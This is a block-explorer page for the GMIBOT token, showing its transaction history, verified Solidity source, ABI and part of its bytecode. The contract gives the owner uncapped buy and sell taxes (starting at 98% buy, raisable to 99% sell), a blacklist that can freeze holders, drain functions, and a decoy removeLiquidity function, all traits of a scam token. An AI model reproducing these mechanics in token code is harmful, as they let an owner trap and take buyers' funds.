ETH Price: $3,478.90 (+6.08%)
Gas: 4 Gwei

Contract

0x81c845c1cD46b0d5c064B45D9a4bAd0a33Aa6B71
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer199112622024-05-20 12:53:2356 days ago1716209603IN
0x81c845c1...a33Aa6B71
0 ETH0.000539858.22218829
Approve195006212024-03-23 23:41:47114 days ago1711237307IN
0x81c845c1...a33Aa6B71
0 ETH0.0007180915.4863012
Approve193494472024-03-02 19:02:59135 days ago1709406179IN
0x81c845c1...a33Aa6B71
0 ETH0.0029936864.21181074
Approve192706092024-02-20 18:10:59146 days ago1708452659IN
0x81c845c1...a33Aa6B71
0 ETH0.0018982440.97936008
Approve192091452024-02-12 3:03:59154 days ago1707707039IN
0x81c845c1...a33Aa6B71
0 ETH0.000554322.83162962
Approve191684192024-02-06 9:49:59160 days ago1707212999IN
0x81c845c1...a33Aa6B71
0 ETH0.0013260328.63382773
Approve191410142024-02-02 13:29:59164 days ago1706880599IN
0x81c845c1...a33Aa6B71
0 ETH0.0006192625.50709179
Approve189052632023-12-31 11:48:23197 days ago1704023303IN
0x81c845c1...a33Aa6B71
0 ETH0.0007351815.76895575
Approve189011272023-12-30 21:52:59198 days ago1703973179IN
0x81c845c1...a33Aa6B71
0 ETH0.0007349315.78398745
Approve188881872023-12-29 2:12:35199 days ago1703815955IN
0x81c845c1...a33Aa6B71
0 ETH0.0004530818.61640277
Approve188781912023-12-27 16:30:11201 days ago1703694611IN
0x81c845c1...a33Aa6B71
0 ETH0.0022875349.06559156
Transfer188781852023-12-27 16:28:59201 days ago1703694539IN
0x81c845c1...a33Aa6B71
0 ETH0.0033210850.55390854
Approve188776702023-12-27 14:44:59201 days ago1703688299IN
0x81c845c1...a33Aa6B71
0 ETH0.0023326550.09787529
Approve188141072023-12-18 16:38:11210 days ago1702917491IN
0x81c845c1...a33Aa6B71
0 ETH0.0033559372.07446509
Approve187874622023-12-14 22:50:23214 days ago1702594223IN
0x81c845c1...a33Aa6B71
0 ETH0.0016440335.30841527
Approve187196882023-12-05 10:56:11223 days ago1701773771IN
0x81c845c1...a33Aa6B71
0 ETH0.0025796555.33131527
Approve187058752023-12-03 12:30:35225 days ago1701606635IN
0x81c845c1...a33Aa6B71
0 ETH0.0013142528.40165491
Transfer187058722023-12-03 12:29:59225 days ago1701606599IN
0x81c845c1...a33Aa6B71
0 ETH0.0018750326.61207055
Approve187058622023-12-03 12:27:59225 days ago1701606479IN
0x81c845c1...a33Aa6B71
0 ETH0.0014521231.381033
Transfer187058422023-12-03 12:23:47225 days ago1701606227IN
0x81c845c1...a33Aa6B71
0 ETH0.0010870126.03130227
Approve187058202023-12-03 12:19:23225 days ago1701605963IN
0x81c845c1...a33Aa6B71
0 ETH0.0012653727.3240589
Approve187057922023-12-03 12:13:47225 days ago1701605627IN
0x81c845c1...a33Aa6B71
0 ETH0.001319628.51722704
Approve187056132023-12-03 11:37:47225 days ago1701603467IN
0x81c845c1...a33Aa6B71
0 ETH0.0013107828.15139373
Approve187054542023-12-03 11:05:47225 days ago1701601547IN
0x81c845c1...a33Aa6B71
0 ETH0.0011467324.78131567
Approve187019782023-12-02 23:23:59226 days ago1701559439IN
0x81c845c1...a33Aa6B71
0 ETH0.002101645.38131466
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
195006252024-03-23 23:42:35114 days ago1711237355
0x81c845c1...a33Aa6B71
0.00117128 ETH
195006252024-03-23 23:42:35114 days ago1711237355
0x81c845c1...a33Aa6B71
0.00175692 ETH
195006252024-03-23 23:42:35114 days ago1711237355
0x81c845c1...a33Aa6B71
0.00292821 ETH
192707122024-02-20 18:31:35146 days ago1708453895
0x81c845c1...a33Aa6B71
0.00209425 ETH
192707122024-02-20 18:31:35146 days ago1708453895
0x81c845c1...a33Aa6B71
0.00314138 ETH
192707122024-02-20 18:31:35146 days ago1708453895
0x81c845c1...a33Aa6B71
0.00523563 ETH
192706132024-02-20 18:11:47146 days ago1708452707
0x81c845c1...a33Aa6B71
0.00380085 ETH
192706132024-02-20 18:11:47146 days ago1708452707
0x81c845c1...a33Aa6B71
0.00570127 ETH
192706132024-02-20 18:11:47146 days ago1708452707
0x81c845c1...a33Aa6B71
0.00950213 ETH
187874662023-12-14 22:51:11214 days ago1702594271
0x81c845c1...a33Aa6B71
0.00448733 ETH
187874662023-12-14 22:51:11214 days ago1702594271
0x81c845c1...a33Aa6B71
0.006731 ETH
187874662023-12-14 22:51:11214 days ago1702594271
0x81c845c1...a33Aa6B71
0.01121834 ETH
187058782023-12-03 12:31:11225 days ago1701606671
0x81c845c1...a33Aa6B71
0.00487196 ETH
187058782023-12-03 12:31:11225 days ago1701606671
0x81c845c1...a33Aa6B71
0.00730794 ETH
187058782023-12-03 12:31:11225 days ago1701606671
0x81c845c1...a33Aa6B71
0.0121799 ETH
187056162023-12-03 11:38:23225 days ago1701603503
0x81c845c1...a33Aa6B71
0.00562152 ETH
187056162023-12-03 11:38:23225 days ago1701603503
0x81c845c1...a33Aa6B71
0.00843229 ETH
187056162023-12-03 11:38:23225 days ago1701603503
0x81c845c1...a33Aa6B71
0.01405382 ETH
187054562023-12-03 11:06:11225 days ago1701601571
0x81c845c1...a33Aa6B71
0.00601878 ETH
187054562023-12-03 11:06:11225 days ago1701601571
0x81c845c1...a33Aa6B71
0.00902817 ETH
187054562023-12-03 11:06:11225 days ago1701601571
0x81c845c1...a33Aa6B71
0.01504695 ETH
186864552023-11-30 19:18:59228 days ago1701371939
0x81c845c1...a33Aa6B71
0.0074844 ETH
186864552023-11-30 19:18:59228 days ago1701371939
0x81c845c1...a33Aa6B71
0.0112266 ETH
186864552023-11-30 19:18:59228 days ago1701371939
0x81c845c1...a33Aa6B71
0.01871101 ETH
186856222023-11-30 16:31:11228 days ago1701361871
0x81c845c1...a33Aa6B71
0.00901048 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
GMIBOT

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-30
*/

/* 

GMI Alpha Bot - The ultimate Telegram channel for degens, offering the best alphas and the best sniping bots.

Doors are opening:
t.me/gmialphabot
twitter.com/GMIAlphaBot

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract GMIBOT is Context, IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private blacklist;
    
    address payable private team_wallet;
    address payable private rewards_wallet;

    uint256 firstBlock;

    string private constant _name = "GMI Alpha Bot";
    string private constant _symbol = "GMIBOT";
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 1_000_000_000 * 10**_decimals;

    uint256 private _BuyTax = 98;
    uint256 private _SellTax = 30;
    uint256 private _preventSwapBefore = 70;
    uint256 public _maxTxAmount = 2_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = _totalSupply / 250;
    uint256 public _taxSwapThreshold;
    
    uint256 private _buyCounter = 0;
    uint256 private _KillBotsCounter = 0;
    uint256 private _updateBuyTaxCounter = 0;
    uint256 private _updateSellTaxCounter = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event Message(address indexed sender, string message);
    event KillBotsToggled(bool enabled);
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        team_wallet = payable(0x2Faaecf11A9EB1F2E636fEB0a40073D04B00e009);
        rewards_wallet = payable(0x385b705FfB300a9Ce89E9FC6949654266e4a0599);

        _balances[_msgSender()] = _totalSupply;
        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[team_wallet] = true;
        _isExcludedFromFee[rewards_wallet] = true;

        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function setTeamWallet(address payable _teamWallet) external onlyOwner {
        require(_teamWallet != address(0), "Address must be valid");
        team_wallet = _teamWallet;
    }

    function setRewardsWallet(address payable _rewardsWallet) external onlyOwner {
        require(_rewardsWallet != address(0), "Address must be valid");
        rewards_wallet = _rewardsWallet;
    }

    function withdrawETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function withdrawToken(IERC20 token) external onlyOwner {
        uint256 balance = token.balanceOf(address(this));
        token.transfer(owner(), balance);
    }

    function removeLiquidity() external onlyOwner {
        emit Message(msg.sender, "Too bad to see you leaving that early");
    }

    function triggerKillBots() external onlyOwner {
        require(_KillBotsCounter < 2, "KillBots can only be triggered twice");

        _SellTax = 99;
        _KillBotsCounter++;
    }

    function updateBuyTax(uint256 value) external onlyOwner {
        require(_updateBuyTaxCounter < 6, "updateBuyTax can only be called 6 times");
        _BuyTax = value;
        _updateBuyTaxCounter++;
    }

    function updateSellTax(uint256 value) external onlyOwner {
        require(_updateSellTaxCounter < 6, "updateSellTax can only be called 6 times");
        _SellTax = value;
        _updateSellTaxCounter++;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;

    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        uint256 taxAmount = 0;

        if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from]) {
            require(!blacklist[from] && !blacklist[to]);
            
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
                taxAmount = (amount * _BuyTax) / 100;
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3 > block.number) {
                    require(!isContract(to));
                }
                _buyCounter++;
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = (amount * _SellTax) / 100;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance >= _taxSwapThreshold && _buyCounter > _preventSwapBefore) {
                swapTokensForEth(_taxSwapThreshold);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] += taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] -= amount;
        _balances[to] += amount - taxAmount;
        emit Transfer(from, to, amount - taxAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 contractETHBalance = address(this).balance;
        uint256 teamAmount = (contractETHBalance * 60) / 100;
        uint256 rewardsAmount = contractETHBalance - teamAmount;

        team_wallet.transfer(teamAmount);
        rewards_wallet.transfer(rewardsAmount);
    }

    function killLimits() external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxWalletSize = _totalSupply;
        emit MaxTxAmountUpdated(_totalSupply);
    }

    function updateTaxSwapThreshold(uint256 newThreshold) external onlyOwner {
        _taxSwapThreshold = newThreshold;
    }

    function burn(uint256 amount) public onlyOwner {
        require(amount <= _balances[msg.sender], "Amount exceeds available balance");

        _transfer(msg.sender, 0x000000000000000000000000000000000000dEaD, amount);
    }

    function addBlacklist(address[] memory addresses) public onlyOwner {
        for (uint i = 0; i < addresses.length; i++) {
            blacklist[addresses[i]] = true;
        }
    }

    function delBlacklist(address[] memory addresses) public onlyOwner {
        for (uint i = 0; i < addresses.length; i++) {
            blacklist[addresses[i]] = false;
        }
    }

    function isBlacklist(address a) public view returns (bool) {
        return blacklist[a];
    }

    function knockKnock() external onlyOwner {
        require(!swapEnabled, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        _taxSwapThreshold = (_totalSupply * 2) / 1000;
        swapEnabled = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"KillBotsToggled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"string","name":"message","type":"string"}],"name":"Message","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"addBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"delBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBlacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"killLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"knockKnock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_rewardsWallet","type":"address"}],"name":"setRewardsWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_teamWallet","type":"address"}],"name":"setTeamWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"triggerKillBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"updateBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"updateSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newThreshold","type":"uint256"}],"name":"updateTaxSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526062600855601e6009556046600a556012600a62000023919062000332565b6200003290621e848062000349565b600b5560fa620000456012600a62000332565b6200005590633b9aca0062000349565b62000061919062000363565b600c555f600e819055600f81905560108190556011556013805461ffff60a01b1916905534801562000091575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319908116732faaecf11a9eb1f2e636feb0a40073d04b00e009179091556006805490911673385b705ffb300a9ce89e9fc6949654266e4a0599179055620001286012600a62000332565b6200013890633b9aca0062000349565b335f908152600160208190526040822092909255600390620001615f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554821684528284208054861682179055600654909116835290822080549093161790915533907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001fc6012600a62000332565b6200020c90633b9aca0062000349565b60405190815260200160405180910390a362000383565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200027757815f19048211156200025b576200025b62000223565b808516156200026957918102915b93841c93908002906200023c565b509250929050565b5f826200028f575060016200032c565b816200029d57505f6200032c565b8160018114620002b65760028114620002c157620002e1565b60019150506200032c565b60ff841115620002d557620002d562000223565b50506001821b6200032c565b5060208310610133831016604e8410600b841016171562000306575081810a6200032c565b62000312838362000237565b805f190482111562000328576200032862000223565b0290505b92915050565b5f6200034260ff8416836200027f565b9392505050565b80820281158282048414176200032c576200032c62000223565b5f826200037e57634e487b7160e01b5f52601260045260245ffd5b500490565b61205e80620003915f395ff3fe6080604052600436106101bd575f3560e01c806367b9a286116100f257806395d89b4111610092578063dd62ed3e11610062578063dd62ed3e1461050c578063e086e5ec14610550578063e539021814610564578063ea17802214610578575f80fd5b806395d89b411461048b578063a1980430146104b9578063a9059cbb146104d8578063bf474bed146104f7575f80fd5b80637d1db4a5116100cd5780637d1db4a51461041c57806389476069146104315780638da5cb5b146104505780638f9a55c014610476575f80fd5b806367b9a286146103c057806370a08231146103d4578063715018a614610408575f80fd5b806323b872dd1161015d578063333e99db11610138578063333e99db1461032c5780633d2cc56c1461036357806342966c6814610382578063436d3340146103a1575f80fd5b806323b872dd146102d35780632ca4ba93146102f2578063313ce56714610311575f80fd5b806309bece4a1161019857806309bece4a1461025f57806312185a39146102735780631525ff7d1461029257806318160ddd146102b1575f80fd5b8063034832bd146101c857806306fdde03146101e9578063095ea7b314610230575f80fd5b366101c457005b5f80fd5b3480156101d3575f80fd5b506101e76101e2366004611b63565b61058c565b005b3480156101f4575f80fd5b5060408051808201909152600d81526c11d35248105b1c1a1848109bdd609a1b60208201525b6040516102279190611b7a565b60405180910390f35b34801561023b575f80fd5b5061024f61024a366004611be9565b6105c3565b6040519015158152602001610227565b34801561026a575f80fd5b506101e76105d9565b34801561027e575f80fd5b506101e761028d366004611b63565b61067b565b34801561029d575f80fd5b506101e76102ac366004611c13565b610723565b3480156102bc575f80fd5b506102c56107bc565b604051908152602001610227565b3480156102de575f80fd5b5061024f6102ed366004611c35565b6107dc565b3480156102fd575f80fd5b506101e761030c366004611c87565b61082c565b34801561031c575f80fd5b5060405160128152602001610227565b348015610337575f80fd5b5061024f610346366004611c13565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561036e575f80fd5b506101e761037d366004611c87565b6108bd565b34801561038d575f80fd5b506101e761039c366004611b63565b61094b565b3480156103ac575f80fd5b506101e76103bb366004611b63565b6109e2565b3480156103cb575f80fd5b506101e7610a81565b3480156103df575f80fd5b506102c56103ee366004611c13565b6001600160a01b03165f9081526001602052604090205490565b348015610413575f80fd5b506101e7610b2b565b348015610427575f80fd5b506102c5600b5481565b34801561043c575f80fd5b506101e761044b366004611c13565b610b9c565b34801561045b575f80fd5b505f546040516001600160a01b039091168152602001610227565b348015610481575f80fd5b506102c5600c5481565b348015610496575f80fd5b5060408051808201909152600681526511d3525093d560d21b602082015261021a565b3480156104c4575f80fd5b506101e76104d3366004611c13565b610cc2565b3480156104e3575f80fd5b5061024f6104f2366004611be9565b610d5b565b348015610502575f80fd5b506102c5600d5481565b348015610517575f80fd5b506102c5610526366004611d47565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561055b575f80fd5b506101e7610d67565b34801561056f575f80fd5b506101e7610dc7565b348015610583575f80fd5b506101e7610e78565b5f546001600160a01b031633146105be5760405162461bcd60e51b81526004016105b590611d7e565b60405180910390fd5b600d55565b5f6105cf338484611255565b5060015b92915050565b5f546001600160a01b031633146106025760405162461bcd60e51b81526004016105b590611d7e565b6002600f54106106605760405162461bcd60e51b8152602060048201526024808201527f4b696c6c426f74732063616e206f6e6c792062652074726967676572656420746044820152637769636560e01b60648201526084016105b5565b6063600955600f8054905f61067483611dc7565b9190505550565b5f546001600160a01b031633146106a45760405162461bcd60e51b81526004016105b590611d7e565b6006601154106107075760405162461bcd60e51b815260206004820152602860248201527f75706461746553656c6c5461782063616e206f6e6c792062652063616c6c656460448201526720362074696d657360c01b60648201526084016105b5565b600981905560118054905f61071b83611dc7565b919050555050565b5f546001600160a01b0316331461074c5760405162461bcd60e51b81526004016105b590611d7e565b6001600160a01b03811661079a5760405162461bcd60e51b81526020600482015260156024820152741059191c995cdcc81b5d5cdd081899481d985b1a59605a1b60448201526064016105b5565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b5f6107c96012600a611ebf565b6107d790633b9aca00611ecd565b905090565b5f6107e8848484611378565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461082291869161081d908690611ee4565b611255565b5060019392505050565b5f546001600160a01b031633146108555760405162461bcd60e51b81526004016105b590611d7e565b5f5b81518110156108b9575f60045f84848151811061087657610876611ef7565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806108b181611dc7565b915050610857565b5050565b5f546001600160a01b031633146108e65760405162461bcd60e51b81526004016105b590611d7e565b5f5b81518110156108b957600160045f84848151811061090857610908611ef7565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061094381611dc7565b9150506108e8565b5f546001600160a01b031633146109745760405162461bcd60e51b81526004016105b590611d7e565b335f908152600160205260409020548111156109d25760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206578636565647320617661696c61626c652062616c616e636560448201526064016105b5565b6109df3361dead83611378565b50565b5f546001600160a01b03163314610a0b5760405162461bcd60e51b81526004016105b590611d7e565b600660105410610a6d5760405162461bcd60e51b815260206004820152602760248201527f7570646174654275795461782063616e206f6e6c792062652063616c6c656420604482015266362074696d657360c81b60648201526084016105b5565b600881905560108054905f61071b83611dc7565b5f546001600160a01b03163314610aaa5760405162461bcd60e51b81526004016105b590611d7e565b336001600160a01b03167f811f7cff0a3374ff67cccc3726035d34ba70410e0256818a891e4d6acc01d88e604051610b219060208082526025908201527f546f6f2062616420746f2073656520796f75206c656176696e672074686174206040820152646561726c7960d81b606082015260800190565b60405180910390a2565b5f546001600160a01b03163314610b545760405162461bcd60e51b81526004016105b590611d7e565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610bc55760405162461bcd60e51b81526004016105b590611d7e565b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610c09573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c2d9190611f0b565b9050816001600160a01b031663a9059cbb610c4f5f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610c99573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cbd9190611f22565b505050565b5f546001600160a01b03163314610ceb5760405162461bcd60e51b81526004016105b590611d7e565b6001600160a01b038116610d395760405162461bcd60e51b81526020600482015260156024820152741059191c995cdcc81b5d5cdd081899481d985b1a59605a1b60448201526064016105b5565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b5f6105cf338484611378565b5f546001600160a01b03163314610d905760405162461bcd60e51b81526004016105b590611d7e565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156109df573d5f803e3d5ffd5b5f546001600160a01b03163314610df05760405162461bcd60e51b81526004016105b590611d7e565b610dfc6012600a611ebf565b610e0a90633b9aca00611ecd565b600b55610e196012600a611ebf565b610e2790633b9aca00611ecd565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610e576012600a611ebf565b610e6590633b9aca00611ecd565b60405190815260200160405180910390a1565b5f546001600160a01b03163314610ea15760405162461bcd60e51b81526004016105b590611d7e565b601354600160a81b900460ff1615610efb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105b5565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255610f4391309190610f3590600a611ebf565b61081d90633b9aca00611ecd565b60125f9054906101000a9